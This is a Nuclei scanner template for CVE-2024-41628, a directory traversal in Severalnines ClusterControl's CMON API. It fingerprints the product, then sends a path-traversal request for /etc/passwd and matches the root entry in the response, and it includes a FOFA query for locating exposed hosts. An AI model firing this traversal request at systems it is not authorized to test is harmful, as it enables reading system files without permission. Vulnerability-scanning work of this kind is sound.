61 lines
1.9 KiB
YAML
61 lines
1.9 KiB
YAML
id: CVE-2024-41628
|
|
|
|
info:
|
|
name: Cluster Control CMON API - Directory Traversal
|
|
author: securityforeveryone
|
|
severity: high
|
|
description: |
|
|
Directory Traversal vulnerability in Severalnines Cluster Control 1.9.8 before 1.9.8-9778, 2.0.0 before 2.0.0-9779, and 2.1.0 before 2.1.0-9780 allows a remote attacker to include and display file content in an HTTP request via the CMON API.
|
|
reference:
|
|
- https://cvefeed.io/vuln/detail/CVE-2024-41628
|
|
- https://github.com/Redshift-CyberSecurity/CVE-2024-41628
|
|
- https://vuldb.com/?id.272533
|
|
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2024-41628
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2024-41628
|
|
cwe-id: CWE-22
|
|
epss-score: 0.00045
|
|
epss-percentile: 0.1555
|
|
cpe: cpe:2.3:a:severalnines:clustercontrol:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: severalnines
|
|
product: cluster_control
|
|
fofa-query: icon_hash="160707013" || icon_hash="-1815707560"
|
|
tags: cve,cve2024,severalnines,cluster-control,lfi
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_all(body,"ClusterControl","CMON_API")'
|
|
- 'contains(content_type,"text/html")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
GET /../../../../../../../../..//etc/passwd HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'root:.*:0:0:'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502210087c3932b04bdbe006b7eefff8966f21f6dd854e5b2b9f0b403af9ca2ad1b8452022014abfe4d46c5fc7dccb7d0602242a09add132dcad91f5c4cdb8a18fcc5eb6e73:922c64590222798bb761d5b6d8e72950 |